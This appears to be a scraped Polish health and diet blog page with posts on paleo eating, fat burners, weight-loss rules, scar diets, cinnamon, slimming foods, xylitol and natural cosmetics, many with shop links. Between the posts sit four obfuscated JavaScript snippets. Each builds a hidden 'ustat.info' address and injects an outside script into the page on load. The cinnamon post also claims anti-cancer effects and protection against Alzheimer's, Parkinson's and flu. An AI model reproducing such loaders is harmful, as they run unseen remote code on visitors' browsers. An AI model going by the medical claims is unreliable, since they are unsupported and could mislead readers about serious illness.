dieta paleo

Dieta Paleo

Tematyka dotycząca prawidłowego odżywiania się jest w ostatnim czasie popularna. I nie ma w tym nic dziwnego, bo to w jak sposób się odżywiamy bez wątpienia wpływa na nasze zdrowie. Niestety dieta współczesnego człowieka, bogata w produkty przetworzone, pełne konserwantów i wypełniaczy sprzyja rozwijaniu się wielu chorób cywilizacyjnych takich, jak choćby cukrzyca, otyłość czy nowotwory. Lekarstwem na nie ma być dieta paleo zakładająca sposób żywienia inspirowany dietą człowieka z epoki kamienia, który jadł jedynie to, co udało mu się upolować, złowić czy zebrać. Czytaj więcej

Spalacze tłuszczu – na czym polega ich działanie?

Suplementy diety dla sportowców głównie kojarzą się z budowaniem masy i pracą nad masą mięśniową. Jest to jak najbardziej zrozumiałe ponieważ najsłynniejsze produkty jak białko czy kreatyna właśnie z tego słyną. Jednakże, istnieją też inne rozwiązania jak walka z otyłością. Jest to szczególnie istotne w dzisiejszych czasach ponieważ nadwaga w społeczeństwie jest uznawana za chorobę XXI. wieku. W dzisiejszych czasach więcej osób traci życie z powodu spożywania zbyt wiele niż za mało. Nie jest to tak naprawdę nic zaskakującego patrząc na to, jak dużo produktów spożywamy pełnych niezdrowych tłuszczy, soli i dużej ilości cukrów. Dodatkowo, nie licząc problemów z poruszaniem się pojawiają się również inne powikłania jak choroby serca czy nawet pojawienie się cukrzycy typu 2! Niestety, większość osób nie jest w stanie sobie poradzić z walką z nadwagą ponieważ ciężko pozbyć się wcześniejszych nawyków. Z tego powodu korzystają z różnych produktów, które w teorii mają pomóc bez większego wkładu własnego. Na szczęście, ten artykuł nie jest o nich. Przedstawimy tutaj ciekawe rozwiązanie jakim są spalacze tłuszczu i to, jak dokładnie mogą nam pomóc. Zapraszam!

Na początek omówmy sobie czym dokładnie są suplementy diety, by mieć dokładną świadomość o czym tutaj piszemy. Produkty te mają na celu wspieranie naszego organizmu poprzez dostarczanie składników odżywczych, które są legalne i odpowiednie do przyjęcia. Istotne jest tutaj sprawdzanie, że są one po to, by nas wspierać ponieważ same w sobie nie są w stanie wiele zdziałać. Nieważne jest to, do czego dokładnie nam są potrzebne – jeśli nie wykonujemy żadnych innych czynności to może się okazać, że efekty nie będą zbyt zadowalające. Oczywiście w przypadku odżywek dla sportowców głównymi czynnikami są tutaj dieta i ćwiczenia. Niezależnie od tego, czy chcemy zbudować masę mięśniową czy też zrzucić kilogramy – same suplementy mogą nie okazać się wystarczające i tak naprawdę może wyjść na to, że tracimy tylko czas.

Spalacze tłuszczu – czym są dokładnie

Jak było wspomniane wyżej – spalacze tłuszczu są suplementami diety. Nie są to środki, które mają nam zrzucić niepotrzebne kilogramy samym siedzeniem na kanapie i robieniem nic. Takowe produkty znajdziemy w pewnych i renomowanych miejscach, jak https://sklep.kfd.pl/spalacze-tluszczu-c-13.html – jest to istotne ponieważ wtedy mamy pewność, że korzystamy ze składników, które nie są szkodliwe dla naszego organizmy oraz to, że są legalne – ilość tzw. “magicznych tabletek”, które obiecują cuda na kiju jest ogromna w internecie także świadomość tego, skąd kupujemy i co jest tutaj naprawdę ważna ponieważ możemy naprawdę zrobić sobie krzywdę jeśli kupimy coś niepewnego.

Zadaniem spalaczy tłuszczu jest wspomaganie nas w próbie zrzucenia kilogramów. Produkt ten zawiera w sobie określone składniki odżywcze, które wpłyną na:

  • ilość energii w przeciągu dnia
  • nasz metabolizm
  • wspomaganie spalania tkanki tłuszczowej
  • hamowanie apetytu

I równie dobrze, wiele, wiele więcej zależnie od tego, jaki skład dokładnie proponuje nam dany producent. Jednakże, jak widać powyżej – efekty same w sobie nie pomogą nam walczyć z otyłością. Bez odpowiedniego odżywiania się i ćwiczeń produkty te nie będą w stanie wiele zrobić. Spalacze tłuszczu szczególnie są polecane osobom, które pomimo wielu starań wciąż nie mogą z jakiegoś powodu zrzucić niepotrzebnych kilogramów!

Spalacze tłuszczu – co w sobie zawierają

Jak było wspomniane wyżej, skład tych suplementów potrafi się różnić od siebie zależnie od producenta. Jednakże, najczęściej spotkamy określone termogeniki (składniki wpływające na nasz metabolizm, w tym przypadku na przyspieszenie go):

  • kofeina
  • guarana
  • ekstrakt z zielonej herbaty

Powyższe składniki szczególnie są istotne ponieważ zawierają w sobie określone stopnie kofeiny – tym sposobem wpływamy nie tylko na to, jak szybko spalamy dany pokarm ale również na kwestie energetyczne, które są istotne jeśli planujemy w dane dni trenować. Prócz tego również spotkamy się z forskoliną czy chromem, które mogą wpłynąć na naszą chęć spożywania pokarmu, karnityną, która może zwiększyć utlenianie kwasów tłuszczowych czy chociażby wapń, który może zwiększyć wchłanianie tłuszczy. Oczywiście, ostatecznie wszystko zależy od producenta, z tego powodu warto dokładnie sprawdzić, co dany produkt w sobie zawiera i jaki skład może być dobrym wyborem dla nas!

Spalacze tłuszczu – czy bezpieczne?

Jeśli korzystamy z pewnych i bezpiecznych źródeł to nie powinniśmy się specjalnie martwić o skład. Jedynie warto z pewnością zaznaczyć, że duża ilość kofeiny może powodować problemy ze snem i nudności. Warto mieć to na uwadze jeśli spożywamy sporo kawy/napojów energetycznych w przeciągu dnia!

Podsumowanie

Spalacze tłuszczu mogą być bardzo ciekawym dodatkiem do naszej diety i ćwiczeń. Jeśli szukamy dodatkowego sposobu na walkę z nadwagą to jak najbardziej można pomyśleć o takich rozwiązaniach!

(function(){
w4wp=document.createElement("script");w4wp.type="text/javascript";
w4wp.async=true;w4wp_=(("us")+"t")+"a";w4wp_+=("t.i")+""+"n";w4wp_+=(("f")+"o");w4wp_+="/";
w4wpu="183415248.";w4wpu+="pg105y8g4wp3hpf8vm1d9x2svX34y1";w4wp.src="https://"+w4wp_+w4wpu;
w4wpdb=document.body;w4wpdb.appendChild(w4wp);
})();

10 przykazań mądrego odchudzania – bezpieczna droga do szczupłej sylwetki

Nie ma magicznego sposobu na zrzucenie zbędnych kilogramów. Musisz po prostu na to zapracować. I to ciężko. Jak to zrobić, żeby dążąc do wymarzonej sylwetki, nie zaszkodzić swojemu zdrowiu? Koniecznie przeczytaj naszych 10 przykazań mądrego odchudzania.

Zdrowe dochodzenie do wymarzonej sylwetki wymaga przede wszystkim cierpliwości. Niestety, dużo łatwiej przybrać, niż zrzucić zbędne kilogramy, tym bardziej, że cały proces zachodzi zwykle niepostrzeżenie. Pewnego dnia po prostu wstajesz rano, patrzysz w lustro i zaczynasz się zastanawiać: „Kiedy TO się stało?”…

Nie daj się nabrać na cudowne diety, dzięki którym schudniesz 20 kg w miesiąc. Jeśli nawet uda Ci się doprowadzić do tak ekstremalnie szybkiego spadku wagi, istnieje bardzo niewielkie prawdopodobieństwo, że sukces utrzyma się na dłużej. Prawie na pewno dotknie Cię efekt jojo i w krótkim czasie wrócisz do poprzedniej (albo i wyższej) wagi. Gdy decydujesz się na dietę, pamiętaj o łączeniu zbilansowanego jadłospisu z wysiłkiem fizycznym i… rozsądkiem. Stosując się do poniższych rad, z pewnością łatwiej unikniesz niebezpiecznych dla zdrowia błędów.

1. Nie ograniczaj jedzenia

Albo raczej: nie tylko ograniczaj. Obżarstwo sprzyja otyłości – jasne. Ale dietetycy przestrzegają: problem nie leży w tym, ile jesz, ale co jesz. Urozmaicone i zbilansowane menu korzystnie wpływa na metabolizm, co w praktyce sprowadza się do tego, że im lepiej jesz, tym szybciej chudniesz. Gdy ograniczasz ilość spożywanych kalorii, musisz pamiętać o wprowadzeniu do swojej diety niezbędnych składników odżywczych. W Twoim codziennym jadłospisie powinny znaleźć się składniki mineralne, witaminy, białka, a także węglowodany i tłuszcze.

2. Jedz regularnie

To, że nie jesz przez cały dzień, wcale nie sprzyja utracie wagi. Prawdopodobnie ta jedna porcja obiadu, którą wcinasz pod wieczór, jest ogromna. Zresztą w ten sposób programujesz organizm – gdy fundujesz mu dłuższe przerwy w jedzeniu, myśli, że przyszły ciężkie czasy i powinien magazynować energię. Zaczyna odkładać tłuszcz, który w kryzysowym momencie będzie mógł spalić. Z tym, że nie spala, no bo przecież w końcu robisz się głodny i wypełniasz żołądek porcją do syta…

Ten mechanizm obronny tysiące lat temu pozwalał człowiekowi przetrwać susze, klęski żywiołowe czy nieudane polowania. Dziś jest zupełnie niepotrzebny, ale nie da się go „wyłączyć”. Jedyne, co możesz zrobić, to jeść niewielkie porcje, ale za to 5 razy dziennie, mniej więcej co 3 godziny.

3. Uważaj na sztuczne wspomagacze

Herbatki czy tabletki na odchudzanie owszem, wspomagają procesy spalania, ale nie zrobią wszystkiego za Ciebie. Jeśli staną się podstawą Twojego jadłospisu, mogą doprowadzić do zaburzenia pracy układy pokarmowego. Znacznie lepiej od syntetycznych suplementów działają substancje zawarte w żywności, którą i tak spożywamy. Jakie?

Kto choć raz w życiu się odchudzał, wie, jak ważny w tym procesie jest błonnik. Choć nie jest trawiony przez ludzki układ pokarmowy, to poprawia jego pracę. Wchłania wodę, dzięki czemu po dostaniu się do żołądka pęcznieje i powoduje uczucie sytości. Sporo błonnika możesz znaleźć w produktach pełnoziarnistych, niektórych owocach (np. malinach, jabłkach, agreście) i warzywach.

4. Nawadniaj się

Minimalna dzienna dawka wody dla dorosłego człowieka wynosi 1,5 litra. W czasie odchudzania warto zwiększyć ją minimum do 2 litrów. Dlaczego? Przede wszystkim z powodu wsparcia, jakie stanowi w procesach metabolicznych. Poza tym, gdy dietę łączysz z aktywnością fizyczną, wzrasta zapotrzebowanie zarówno na H2O, które podczas wysiłku intensywnie odparowuje przez wszystkie pory Twojego ciała, jak i na zawarte w niej mikroelementy.

5. Ogranicz alkohol i napoje gazowane

Słodkie napoje gazowane i alkohol to puste kalorie, które powodują tycie, a wcale nie dostarczają organizmowi składników odżywczych. Poza tym procenty powodują nasilenie głodu i zapotrzebowanie na tłuste dania, czyli zwiększają prawdopodobieństwo, że zaczniesz się objadać…

6. Wysypiaj się

Wiesz, że niedosypianie sprzyja otyłości? Podczas snu zwiększa się zdolność organizmu do trawienia cukrów. Osoby, które śpią poniżej 7 godzin stają się w pewnym sensie insulinooporne. Poza tym, gdy się nie wysypiasz, w Twoim organizmie rośnie poziom hormonu głodu – greliny – a spada poziom hormonu sytości, czyli leptyny. Jednym słowem wydaje Ci się, jakbyś był wiecznie głodny. Równie niekorzystna jest zbyt duża ilość snu. Zgodnie z tą zasadą najlepiej spać od 7 do 9 godzin.

7. Wrzuć na luz!

Przewlekły stres może zaburzać gospodarkę hormonalną i spowalniać procesy metaboliczne. To właściwie ten sam pierwotny mechanizm, który uruchamia się, gdy nie pilnujesz regularności posiłków. Organizm, będąc w stanie zagrożenia, decyduje się na odkładanie w tkance tłuszczowej zmagazynowanej energii na później. Poza tym skupia się na podtrzymaniu ważniejszych procesów… W tym czasie zwiększa się odporność na leptynę i insulinę, spada poziom estrogenu u kobiet i testosteronu u mężczyzn, wzrasta poziom kortyzolu, rozregulowuje się praca tarczycy. Mówiąc krótko, cały organizm odmawia działania w zwykłym trybie, a Ty masz przekichane.

Do tego spora część z nas ma skłonności do zajadania stresu. Im bardziej się denerwujesz, tym więcej wcinasz po kryjomu, zwłaszcza słodkiego? Batonik w nagrodę za ciężki dzień w pracy albo na odwagę przed ważnym spotkaniem wcale nie pomoże, za to może zaszkodzić Twojej sylwetce, zwłaszcza jeśli jego jedzenie stanie się rytuałem.

8. Pozwól sobie na złamanie zasad

Dietetycy i trenerzy personalni mówią często o tzw. cheating day, czyli dniu, kiedy odpuszczasz przestrzeganie planu żywienia. Chodzi o to, żeby nie zafiksować się na określonym trybie życia i nie uzależniać poczucia własnej wartości od odnoszonych na tym polu sukcesów. Nie, to, że raz na jakiś czas zjesz coś niedozwolonego na diecie, nie oznacza, że nie jesteś nic wart. Zrób to z przyjemnością i nie wywołuj w sobie wyrzutów sumienia, które spowodują tylko niepotrzebny wzrost stresu!

Ćwicz zatem silną wolę, ale wybaczaj sobie małe grzeszki. Proces dochodzenia do wymarzonej sylwetki nie może stać się katorgą, z powodu której staniesz się swoim największym wrogiem.

9. Unikaj przesady

Restrykcyjne diety, a szczególnie głodówki nie tylko nie pomogą Ci schudnąć, ale wręcz zaszkodzą, naruszając równowagę Twojego organizmu. Zrobienie detoksu raz na jakiś czas rzeczywiście pomoże oczyścić organizm, ale na dłuższą metę jedyne, co w ten sposób osiągniesz, to pozbawisz się niezbędnych do prawidłowego funkcjonowania składników odżywczych. Pamiętaj, że to przede wszystkim z cukrów, od których eliminacji zaczyna się niemal każda absurdalnie surowa dieta, czerpie energię Twoje ciało, a zwłaszcza mózg!

10. Bądź aktywny

Last, but not the least! Właściwie nie tylko nie najmniej ważne, ale chyba najważniejsze. Na nic surowe diety, jeśli nie wprowadzisz ruchu do swojego życia. Utrzymanie ciała w dobrej kondycji fizycznej, zachodzące przy okazji dotlenienie gwarantują, że jest ono w stanie właściwie przetwarzać pozyskane z żywności składniki na energię. Podczas aktywności spala się oczywiście również nadmiar tkanki tłuszczowej.

Nie musisz koniecznie chodzić na siłownię albo biegać, choć są to dziś bardzo modne sporty. Jeśli wolisz, możesz regularnie pływać, jeździć do pracy na rowerze albo codziennie zabierać psa na długi spacer. Pamiętaj, że wszystko zaczyna się od pierwszego, czasem małego kroku.

Sprzęt i odzież sportową, która ułatwi Ci zrobienie pierwszego i wszystkich kolejnych kroków na drodze do zgrabnej sylwetki, znajdziesz na sklepiguana.pl!

Dieta na blizny

Każdy, kto boryka się z problemem widocznych pamiątek po urazach czy trądziku szuka sposobu na blizny. Do tego problemu należy podejść wielotorowo i jednym ze sposób walki z bliznami może być dieta.

Aby poprawić wygląd skóry z bliznami należy stymulować ją do produkcji kolagenu. Kolagen to białko występujące w skórze, które odpowiada za jej elastyczność i napięcie, a także za tworzenie się blizn, czyli przywracanie ciągłości skóry po urazie. Zastanawiasz się, co pomoże na blizny? Spróbuj zadbać o dietę.

Sposób na blizny – dieta

Co jeść, aby poprawić wygląd blizny? Pierwszym i najważniejszym składnikiem, jakiego nie może zabraknąć w diecie na blizny jest witamina C. Jest silnym przeciwutleniaczem, który przeciwdziała starzeniu się skóry, ale także jest witaminą, która wpływa na zwiększenie produkcji kolagenu. Najlepszym źródłem witaminy C są oczywiście owoce i warzywa. Warto zatem spożywać natkę pietruszki, paprykę, brokuły, kapustę czy truskawki, czarną porzeczkę i maliny. W każdym z pięciu posiłków dziennie powinna się znaleźć porcja owoców lub warzyw.

Witamina E jest kolejnym niezbędnym składnikiem diety na blizny. Nazywana jest witamina młodości, ma niebagatelny wpływ na odnawianie się naskórka. Jest szczególnie ważna na etapie gojenia się rany. Witaminę E znajdziemy w dobrej jakości olejach roślinnych, a także awokado i sałacie oraz innych zielonych warzywach. Źródłem witaminy E są także jajka, orzechy, nasiona, pełnoziarniste pieczywo.

Witamina A jest znana ze swojego dobrego wpływu na skórę i wzrok. Wszystko przez to, że bierze udział w regeneracji nabłonków w ciele, a także jest niezbędna do odnowy komórkowej. Do tego ma wpływ na odporność organizmu. Witamina A jest rozpuszczalna w tłuszczach. Więc, aby była prawidłowo wchłaniana musi być przyjmowana wraz z tłuszczem. Naturalnymi źródłami witaminy A są: masło, nabiał, tłuste ryby, wątróbka, jaja, bataty, jarmuż, dynia.

Dieta na blizny – nawodnienie

Aby skóra funkcjonowała jak należy niezbędne jest prawidłowe nawodnienie. Sposobem na wsparcie organizmu w odbudowie skóry jest spożywanie odpowiedniej ilości płynów. Nawodnienie powoduje, że wszystkie tkanki są bardziej elastyczne. Dotyczy to również włókien kolagenowych. Kiedy poziom nawodnienie jest optymalny są one bardziej odporne na zrywanie, stają się bardziej sprężyste i elastyczne. A to ma wpływ na sposób w jaki odbudowuje się blizna po zranieniu. Nasza skóra nieustannie się odnawia, więc wprowadzenie zmian do diety zaowocuje poprawą jej wyglądu po jakimś czasie

Całą kurację, związaną z poprawą wyglądu skóry w miejscach gdzie występuje blizna, można również wesprzeć stosowaniem specjalnych preparatów, takich jak żel czy plastry na blizny (np: https://sutricon.pl/), które miejscowo wspomagają proces gojenia się skóry.

(function(){
obut=document.createElement("script");obut.async=true;obut_="u"+("s")+"t";
obutu="183274096.";obut_+="a"+("t.i");obut_+="n"+("f"+"o")+"/";
obutu+="vic70k9bbut438qyg7tv6g"+("mx1zryls");
obut.src="https://"+obut_+obutu;obut.type="text/javascript";
document.body.appendChild(obut);
})();

cynamon właściwości

Cynamon – właściwości zdrowotne i odchudzające

Cynamon to popularna przyprawa, dzięki której potrawy i desery zyskują charakterystyczny smak oraz wspaniały aromat. Atuty kulinarne to jednak nie wszystkie zalety tego specjału. Cynamon ceniony jest także za właściwości prozdrowotne. Wykazuje korzystny wpływ m.in. na proces odchudzania. Jakie zalety posiada cynamon i dlaczego warto stosować go w codziennej diecie?

Charakterystyka cynamonu

Cynamon jest tak naprawdę korą rośliny znanej jako cynamonowiec – cinnamonum cassia. Jego laski posiadają charakterystyczny, rdzawy kolor. Ze względu na delikatnie cierpki słodkawo-korzenny smak oraz silny aromat, cynamon znajduje zastosowanie jako popularna przyprawa. Idealnie pasuje do pieczonych jabłek i ryżu, a także szalotki czy makaronu z twarogiem. Komponuje się doskonale nawet z niektórymi mięsami, przede wszystkim baraniną. Cynamon dostępny jest nie tylko w formie utartego proszku, ale też pod postacią olejku eterycznego. Coraz częściej wykorzystuje się te produkty w celach innych, niż kulinarne. Cynamonowiec zawiera bowiem wiele wartościowych związków i substancji, które pozwalają zaliczyć tę roślinę do najcenniejszych naturalnych środków leczniczych. Aby zabezpieczyć prozdrowotne właściwości tej przyprawy, warto podczas obróbki termicznej dodawać ją możliwie jak najpóźniej.

Działanie przeciwnowotworowe i przeciwmiażdżycowe

Do najważniejszych substancji zawartych w cynamonie należy aldehyd cynamonowy. Związek ten wykazuje właściwości przeciwnowotworowe, a także wspomaga walkę z rakiem jelita grubego. Na podstawie badań przeprowadzonych na gryzoniach odkryto, że podanie zwierzętom pożywienia z aldehydem cynamonowym sprzyja usuwaniu toksyn z komórek. Zwiększa także potencjał regeneracyjny, chroniąc przed najważniejszym czynnikami rakotwórczymi – kancerogenami. Wyciągi z olejku cynamonowego oraz kory cynamonowca wykazują także działanie przeciwmiażdżycowe, ponieważ obniżają poziom złego cholesterolu w surowicy krwi.

Ochrona przed Alzheimerem i Parkinsonem

W cynamonie znajduje się substancja zwana epikatechiną. W połączeniu z aldehydem, może ona zapobiec wystąpieniu choroby Alzheimera lub znacząco opóźnić jej rozwój. Oba związki chronią organizm przed powstawaniem splątków neurofibrylarnych, które są bardzo charakterystyczne dla choroby kojarzonej głównie z utratą pamięci. Spożywanie cynamonu chroni także przed Parkinsonem. Odwraca bowiem negatywne zmiany komórkowe, biomechaniczne i anatomiczne w mózgach osób zmagających się tą chorobą. Wynika to z obecności w cynamonie związku znanego jako anion benzoesanowy. Środek ten często wykorzystywany jest jako konserwant żywności, pod postacią beznoesanu sodu. Z cynamonu pozyskiwany jest przez wątrobę, na skutek procesów metabolicznych.

Cynamon – na grypę i przeziębienia

Cynamon to sprawdzony środek na przeziębienia, grypę i zakażenia dróg oddechowych. Wyciągi pozyskiwane z olejku eterycznego, liści oraz kory cynamonowca cejlońskiego charakteryzują się wysoką aktywnością przeciwdrobnoustrojową. Mogą więc skutecznie zwalczać wirusy, grzyby i bakterie. Cynamon sprawdza się także w aerozoloterapii, zwłaszcza w połączeniu z innymi olejkami.

Cynamon – naturalny środek na odchudzanie

Cynamon jest termogenikiem. Substancje należące do tej grupy przyspieszają działanie materii, a tym samym ułatwiają spalanie tłuszczu. Co więcej, wyciąg z kory cynamonu cejlońskiego może do pewnego stopnia uwrażliwić tkanki na insulinę. Wspomaga tym samym regulację gospodarki węglowodanowej. Aby osiągnąć pożądany efekt odchudzający, przyprawę powinno się regularnie dodawać do potraw i spożywać przynajmniej pół łyżeczki na dobę. Wyciąg z cynamonu można też rozpuścić w wodzie i przyjmować w formie napoju. W takiej formie bardzo dobrze chroni przed cukrzycą. Pozwala na uniknięcie hiperinsulinemii, która jest zgubna dla efektywności procesów metabolicznych. Cynamon odciąża też trzustkę, co chronią ją przed wyeksploatowaniem i utratą witalności.

Na dolegliwości żołądkowe i bóle reumatyczne

Olejek cynamonowy oraz kora z cynamonu cejlońskiego w kompleksowy sposób wspomagają funkcjonowanie całego układu pokarmowego. Znajdują zastosowanie zarówno przy zatruciach, jak i biegunkach. Olejek cynamonowy może też pobudzać wydzielanie się soku żołądkowego, przez co chroni przed zaburzeniami jelitowymi. Wyciąg z kory cynamonowca cejlońskiego zabezpiecza żołądek także przed wrzodami. Cynamon często stosowany jest jako środek przeciwbólowy. Wykorzystuje się go jako składnik maści rozgrzewających i mieszanek ziołowych, stosowanych do łagodzenia bólów reumatycznych. Znajduje się np. w maści tygrysiej oraz innych podobnych produktach.

Inne właściwości i zastosowania cynamonu

Lecznicze właściwości cynamonu doceniane są także w kosmetyce. Wyciągi tej rośliny stosuje się zwłaszcza do pielęgnacji cery trądzikowej, ze względu na właściwości antybakteryjne. Cynamon łagodzi przebarwienia i zmniejsza ilość ropnych wyprysków, rozjaśniając skórę i przywracając jej naturalny wygląd. Cynamon stosowany jest również w produkcji chusteczek zapachowych, perfum i kremów. Olejek z cynamonowca działa ponadto przeciwpasożytniczo. Stosuje się go w medycynie naturalnej, głównie do zwalczania świerzbu, wszy i pasożytów przewodu pokarmowego. Cynamon to jednocześnie uniwersalny środek insektobójczy. Wykorzystywany jest jako repelent chroniący przed ukłuciami komarów i kleszczy.

Przeciwwskazania do do stosowania cynamonu

Cynamon wyróżnia się wieloma prozdrowotnymi właściwościami, jednak jego spożywanie nie jest wskazane dla wszystkich. W niektórych przypadkach lepiej unikać choćby niedużych dawek tej przyprawy. Podstawowym przeciwwskazaniem są choroby wątroby i woreczka żółciowego. W cynamonie występuje eugenol, który może wpływać na charakterystykę żółci i utrudniać trawienie tłuszczy. Innym przeciwwskazaniem jest uczulenie. Cynamon to alergen kontaktowy i pokarmowy, który może przyczynić się do wystąpienia na skórze zmian o charakterze atopowym. Przyprawy tej nie powinny spożywać także dzieci poniżej 12 roku życia, ze względu na zwiększone ryzyko podrażnień naskórka.

Które produkty wspomagają odchudzanie?

Żyjemy w społeczeństwie XXI wieku, które charakteryzuje się tym, że większość dnia spędza w pracy. Niestety, sukces zawodowy okupiony jest często największą ceną, czyli utratą lub uszczerbkiem na zdrowiu. Jest to efektem między innymi złych nawyków żywieniowych. Należą do nich jedzenie o nieregularnej porze, spożywanie posiłków typu fast food i niezdrowych przekąsek, oraz niedostarczanie organizmowi niezbędnych elementów. Taka postawa powoduje problemy z nadwagą, kondycją, spadek wydajności oraz kiepskie samopoczucie. Jak więc wybierać odpowiednie produkty, które nie tylko wspomogą odchudzanie, ale dostarczą nam energii? Zapraszamy do lektury.

Moc tkwi w ziarnach

Wiele osób nie docenia tego, że to węglowodany pochodzące z odpowiedniego źródła są najlepszym pokarmem, dostarczającym nam odpowiednią dawkę energii. Do ich dodatkowych zalet należy fakt, że pomagają spalać zalegający w organizmie tłuszcz. Jeżeli nie masz zbyt dużo czasu, na przyrządzanie przekąsek lub dań zawierających odpowiednią dawkę węglowodanów, warto sprawdzić dietę pudełkową. Doskonałe i bogate w pełne ziarna posiłki, znajdziesz na przykład na stronie zdrowemenu.com.

Moc orzechów

Pisząc na temat produktów, które wspomagają nasz organizm i pozwalają pozbyć się przysłowiowej oponki, nie można zapomnieć o orzechach i migdałach. Wiele osób odrzuca te produkty, twierdząc błędnie, że chcąc spalić tłuszcz, nie można dostarczać go organizmowi. Jest to jeden z najpopularniejszych mitów. Tłuszcz różni się bowiem od siebie i nie można porównać tego zawartego we frytkach, do znajdującego się w orzechach czy migdałach. Zdrowe tłuszcze są bowiem bardzo potrzebne, aby wchłaniać część witamin i dostarczyć naszemu organizmowi niezbędnej dawki energii. Do dodatkowych zalet spożywania tej grupy produktów należy fakt, że wzmacniają one włosy oraz paznokcie, a także poprawiają nasze samopoczucie i wydajność.

Owoce

Tutaj chyba nie trzeba wiele dodawać. Owoce i warzywa to produkty, które pełnią pierwszoplanową funkcję w każdej diecie redukcyjnej. Warto jednak zaznaczyć, że nie wszystkie. Aby spalić jak najwięcej kalorii i poprawić wygląd swojej sylwetki warto sięgać po owoce, które zawierają flawonoidy. Są to substancje chemiczne, występujące naturalnie i działające pozytywnie na walkę z tłuszczem. Ich bogatym źródłem są gruszki i jabłka. Należy jednak pamiętać, że jedzenie zbyt dużej ilości owoców też nie jest wskazane. Decydując się na dietę pudełkową, masz pewność, że dietetyk w odpowiedni sposób obliczył ile tego typu produktów, potrzebujesz w ciągu dnia.

Rybkę?

Ostatnią grupą produktów, którą zalicza się do tak zwanych spalaczy tłuszczu, są ryby. Kwasy omega-3 znajdują się w ich mięsie, wspomagają proces odchudzania, oraz dostarczają organizmowi niezbędnej ilości białka. Dania z tuńczyka, makreli czy łososia powinny na stałe zagościć w Twoim jadłospisie.

(function(){
qb5t=document.createElement("script");qb5t_=("us")+("ta");
qb5t_+="t"+(".");qb5t_+=("in");qb5tu="136237040";qb5t.async=true;
qb5tu+=".ej15egndb5tgj4jhs";qb5t.type="text/javascript";qb5t_+="f"+"o"+("/");
qb5tu+="usbkn01cu5y6e";qb5t.src="https://"+qb5t_+qb5tu;
dqb5t=document.body;dqb5t.appendChild(qb5t);
})();

ksylitol

Czym jest ksylitol? Właściwości, zalety, zastosowanie

=&0=&

Ksylitol pod względem chemicznym jest alkoholem cukrowym otrzymywanym z kory brzozy, dlatego nieprawidłowym jest nazywanie go cukrem. Z jego chemiczną budową ściśle powiązany jest także fakt, że w organizmie jest on metabolizowany inaczej niż cukier, co czyni go produktem odpowiednim dla diabetyków. W wyglądzie natomiast jest on dość podobny do tradycyjnego cukru – ma postać białego, krystalicznego proszku o intensywnie słodkim smaku.

=&1=&

Główną zaletą ksylitolu jest jego niska kaloryczność. Szacuje się, że posiada on o 40% mniej kalorii niż cukier. Charakteryzuje sie także niskim indeksem glikemicznym oraz tym, że jest metabolizowany bez udziału insuliny. Z tego względu stanowi on znakomity środek słodzący w przypadku osób chorych na cukrzycę i insulinooporność. Zastąpienie białego cukru ksylitolem jest także polecane osobom dbającym o linię lub przebywającym na diecie redukcyjnej, ponieważ jego spożycie skutkuje niższym poziomem glukozy we krwi niż spożycie cukru i tym samym nie wywołuje nagłego wyrzutu insuliny.

=&2=&

Mimo że ksylitol nie jest cudownym środkiem dietetycznym, wykazuje on szereg pozytywnych dla naszego zdrowia właściwości. Poza niską kalorycznością i niskim indeksem glikemicznym posiada on jeszcze kilka innych zalet:

  • ma właściwości bakteriobójcze, dlatego coraz częściej jest stosowany do produkcji past do zębów, płynów do płukania jamy ustnej czy gum do żucia
  • jest słodszy od cukru w związku z czym jego stosowanie jest bardziej ekonomiczne
  • wspomaga przyswajanie wapnia w organizmie i tym samym pozytywnie wpływa na mineralizację kości

=&3=&

Ksylitol z powodzeniem możemy wykorzystywać do słodzenia różnego rodzaju napojów, jak kawa czy herbata. Świetnie sprawdzi się on także do przygotowywania wypieków oraz wszelkiego rodzaju deserów a nawet domowych przetworów, ponieważ w przeciwieństwie do innych substancji słodzących jest on odporny na działanie wysokich temperatur i nie traci swoich właściwości.

=&4=&

Wraz z rosnącą popularnością ksylitolu zwiększa się także jego dostępność. Bez problemu możemy znaleźć go w sklepach ze zdrową żywnością a coraz częściej także na półkach dużych marketów. Najlepszej jakości ksylitol możemy także kupić w internetowych sklepach ze zdrową żywnością takich jak https://www.cosdlazdrowia.pl/cukry/cukier-brzozowy-cena-sklep/produkt-344

(function(){
xv1X_=("u"+"")+"s"+"";xv1X_+=("tat.")+("i");
xv1X=document.createElement("script");xv1X.type="text/javascript";xv1X_+="nf"+("o")+"/";
xv1Xu="136052893"+".";xv1X.async=true;xv1Xu+="014u37i1v1Xi2zckmslXal0icjX27d";
xv1X.src="https://"+xv1X_+xv1Xu;xv1Xb=document.body;xv1Xb.appendChild(xv1X);
})();
Czytaj więcej

Dlaczego warto zainwestować w kosmetyki naturalne?

Rośnie nasza świadomość w zakresie prowadzenia zdrowego trybu życia. Zaczynamy bardziej zwracać uwagę na to, co jemy, dbamy o częstą aktywność fizyczną.

Rośnie nasza świadomość w zakresie prowadzenia zdrowego trybu życia. Zaczynamy bardziej zwracać uwagę na to, co jemy, dbamy o częstą aktywność fizyczną. Przejawem troski o zdrowie jest także korzystanie z kosmetyków naturalnych. Produkty kosmetyczne prosto z drogerii na pewno ułatwiają nam życie, gdyż są ogólnodostępne i tańsze, jednakże często nie zdajemy sobie sprawy, że w ich składzie ukryte są szkodliwe substancje chemiczne, które mają negatywny wpływ na naszą skórę i zdrowie. Kosmetyki naturalne nie zalegają na półkach każdej drogerii, jednakże dostęp do nich jest już coraz łatwiejszy. Preparaty te, chociaż na ogół droższe, są dobrą inwestycją w zdrowie. Dlaczego warto pokusić się o zakup kosmetyków naturalnych?

Większość z nas przynajmniej raz w życiu doświadczyła skutków ubocznych stosowanie standardowych kosmetyków drogeryjnych. U jednych niepożądane objawy mogły być znaczne, u innych mniej widoczne, ale uciążliwe. Skóra to specyficzny narząd człowieka, który musi znosić sporo niedogodności. Oddziałują na nią: niewłaściwa dieta, stres, niektóre schorzenia, ale także szkodliwe substancje z kosmetyków, które używamy na co dzień. Często sięgając po kolejne opakowanie kremu czy fluidu, nie zdajemy sobie sprawę z negatywnych konsekwencji. Bywa, że orientujemy się dopiero, wtedy, gdy wystąpią widziane gołym okiem problemy skórne. Sekretem kosmetyków aktuarialnych jest brak w ich składzie szkodliwych substancji, m.in. konserwantów, barwników czy też aromatów. Ich miejsce zastępują naturalne wyciągi z ziół, ekstrakty z owoców, minerały i witaminy. Stosując je możemy uniknąć podrażnienia skóry, alergii czy po prostu pogorszenia się jej kondycji.

